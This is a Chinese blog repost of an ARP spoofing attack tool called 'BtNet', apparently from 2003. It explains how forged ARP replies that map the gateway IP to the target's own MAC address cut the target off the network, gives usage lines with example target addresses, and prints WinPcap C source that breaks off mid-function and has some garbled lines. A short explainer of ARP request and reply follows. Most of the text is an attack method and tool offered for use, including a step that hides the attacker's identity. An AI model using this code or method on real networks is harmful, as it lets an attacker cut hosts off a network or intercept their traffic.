基于ARP欺骗的网络攻击程序源码

一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址,源MAC地址却改为自己的MAC地址。我们把发送给A的arp数据报的源IP,源MAC更改成任意的,会出现什么现象?下面是我的几个测试

AD:

最近开始学WINPCAP,看了很多高手写的基于arp欺骗的抓包工具,尤其是电子科大的TOo2y师兄的《详谈调用winpcap驱动写arp多功能工具》,令我收益非浅。下面是我把这个思想改成arp攻击程序(可令目标主机断开网络连接)的一些测试。高手请略过,以免有班门弄斧之闲。

一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址,源MAC地址却改为自己的MAC地址。假设有两台机器A,B,发送一个ARP REPLY数据报给A,其中源IP地址为B的地址,源MAC地址为我的机器的MAC地址(IPRouter功能打开确保数据被转发),那么A发送到B的数据报就发到我的机器上了,同样对B做相同到操作,那么A<==>B之间的数据就会源源不断的通过我的机器转发,直到一个正常的ARP包更改了A,B的arp缓存为止。

那么我们把发送给A的arp数据报的源IP,源MAC更改成任意的,会出现什么现象?下面是我的几个测试

1. 源IP更改为网关IP,源MAC改为不存在的MAC地址

对目标主机几乎不影响

2. 源IP更改为网关IP,源MAC改为内网内任意一台存在但没有开启IPRouter的主机的MAC地址

几乎不影响

3. 源IP更改为网关IP,源MAC改为目标主机的MAC

目标主机立刻断网!

可见当发送经过我们构造的ARP REALY包给目标主机时,会使目标主机的ARP缓存更改,数据封装到MAC层的时候会把网关的IP和自己的MAC地址封装到一起,那么发送到网关的数据报只好发给自己了,呵呵。

至于第1种情况,猜想大概是由于MAC地址不存在,目标主机会广播一个ARP REQUEST包而更新了自己的ARP缓存所致。

至于第2种情况,猜想源MAC地址所属主机会返回一个ARP REPLY给目标主机。

水平有限,所以只是猜想,知道的请告诉我一声,先谢过了。

再说一下,以上测试只对于windows系统,当然也测试过对没有配置好的Red Hat成功过。

测试程序(BtNet.exe)说明:
Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]
-m参数是你要修改的源MAC地址.

为了隐蔽攻击者身份,程序再得到目标主机MAC地址时伪装成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5,可能会得不到目标主机的MAC地址,那么要得到MAC地址请借助第三方工具。

附测试程序代码

#include "packet32.h" 
#include "ntddndis.h" 
#include 
#include 
#include 
#include 
 
#pragma comment(lib,"ws2_32") 
#pragma comment(lib,"packet") 
 
#define ETH_IP 0x0800 
#define ETH_ARP 0x0806 
#define ARP_REQUEST 0x0001 //arp请求包 
#define ARP_REPLY 0x0002 //arp应答包 
#define ARP_HARDWARE 0x0001 
#define max_num_adapter 10 
 
#pragma pack(push,1) 
 
typedef struct ethdr 
{ 
unsigned char eh_dst[6]; //以太网目的地址 
unsigned char eh_src[6]; //以太网源地址 
unsigned short eh_type; // 
}ETHDR,*PETHDR; 
typedef struct arphdr //arp头 
{ 
unsigned short arp_hdr; //硬件类型 
unsigned short arp_pro; //协议类型 
unsigned char arp_hln; //硬件地址长度 
unsigned char arp_pln; //协议地址长度 
unsigned short arp_opt; // 
unsigned char arp_sha[6]; //发送端以太网地址 
unsigned long arp_spa; //发送端ip地址 
unsigned char arp_tha[6]; //接收端以太网地址 
unsigned long arp_tpa; //接收端ip地址 
}ARPHDR,*PARPHDR; 
 
typedef struct ip_mac 
{ 
u_long ip; 
unsigned char mac[6]; 
}IP_MAC,*PIP_MAC; 
 
#pragma pack(push) 
 
LPADAPTER lpAdapter; 
char adapterlist[max_num_adapter][1024]; 
IP_MAC toipandmac; 
IP_MAC oipandmac,myipandmac; 
BOOL param6=FALSE; 
char *noMACstr; 
char noMAC[6][3]; 
u_long mytoIP,oIP; 
BOOL sendtoOip; 
MSG msg; 
UINT newtimer; 
char MYIP[20]="128.128.128.128"; 
BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE; 
 
int getint(char c) 
{ 
int t=-1; 
if((c<='9')&&(c>='0')) 
t=c-'0'; 
else if((c>='a')&&(c<='f')) 
t=10+c-'a'; 
else if((c>='A')&&(c<='F')) 
t=10+c-'A'; 
return t; 
} 
 
void start() 
{ 
printf("BtNet //--an ARP Tool test the Windows Break the Internetn"); 
printf("written by Ruder,10/2003n"); 
printf("Homepage: http://xEyes.cdut.net/ruder/index.htm;n"); 
printf("E-mail: cocoruder@163.comn"); 
printf("nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]n"); 
printf("Example:n"); 
printf("BtNet -h 202.115.138.12 -o 202.115.138.1n"); 
printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7cn"); 
printf(" Warning: You must have installed the winpcap_2.3 or
winpcap_3.0_alphan"); 
return ; 
} 
 
DWORD WINAPI sniff(LPVOID) 
{ 
LPPACKET lppackets,lpPacketr; 
char recvbuf[1024*250]; 
ULONG ulbytesreceived,off; 
ETHDR *eth; 
ARPHDR *arp; 
char *buf,*pChar,*base; 
char szTemp[20]; 
struct bpf_hdr *hdr; 
 
if((lppackets=PacketAllocatePacket())==FALSE) 
{ 
printf("PacketAllocatePacket send Error: %dn",GetLastError()); 
return 0; 
} 
 
if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE) 
{ 
printf("Warning: Unable to set the adapter to promiscuous moden"); 
} 
 
if(PacketSetBuff(lpAdapter,500*1024)==FALSE) 
{ 
printf("PacketSetBuff Error: %dn",GetLastError()); 
return 0; 
} 
 
if(PacketSetReadTimeout(lpAdapter,1)==FALSE) 
{ 
printf("Warning: Unable to set the timeoutn"); 
} 
 
if((lpPacketr=PacketAllocatePacket())==FALSE) 
{ 
printf("PacketAllocatePacket receive Error: %dn",GetLastError()); 
return 0; 
} 
 
PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf)); 
 
while(!kbhit()) 
{ 
if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE) 
{ 
return 0; 
} 
//getdata(lppacketr,option); 
ulbytesreceived=lpPacketr->ulBytesReceived; 
buf=(char *)lpPacketr->Buffer; 
 
off=0; 
while(off{ 
if(kbhit()) 
{ 
return 0; 
} 
hdr=(struct bpf_hdr *)(buf+off); 
off+=hdr->bh_hdrlen; 
 
pChar=(char *)(buf+off); 
base=pChar; 
off=Packet_WORDALIGN(off+hdr->bh_caplen); 
 
eth=(PETHDR)pChar; //以太头 
arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp头 
int i; 
 
if((eth->eh_type==htons(ETH_ARP))&& 
(arp->arp_opt==htons(ARP_REPLY))) 
{ 
//if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP)))) 
{ 
if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag) 
return 0; 
if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE)) 
||((myipandmac.ip==htonl(arp->arp_spa))&&(myipandmac_flag==FALSE)) 
||((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE))) 
{ 
memset(szTemp,0,sizeof(szTemp)); 
memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa)); 
 
printf("[IP]:"); 
printf("%s",inet_ntoa(*((struct in_addr *)szTemp))); 
pr 



本文转自:http://netsecurity.51cto.com/art/200710/57667.htm

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
现在有一台计算机A(IP:192.168.85.1 MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。 好了在了解了上面基本arp通信过程后,arp欺骗就不那神秘了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200 MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。实例基于WINCAP编写,描述其本源理与流程.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值